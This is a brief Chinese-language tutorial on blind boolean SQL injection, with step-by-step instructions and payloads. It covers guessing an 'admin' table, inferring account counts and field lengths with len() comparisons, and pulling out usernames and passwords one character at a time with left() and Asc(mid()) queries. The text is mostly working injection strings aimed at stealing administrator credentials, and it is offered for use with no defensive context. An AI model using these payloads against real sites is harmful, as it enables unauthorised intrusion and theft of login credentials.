1.判断有无注入点 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确 6.猜解字符 and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位 and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
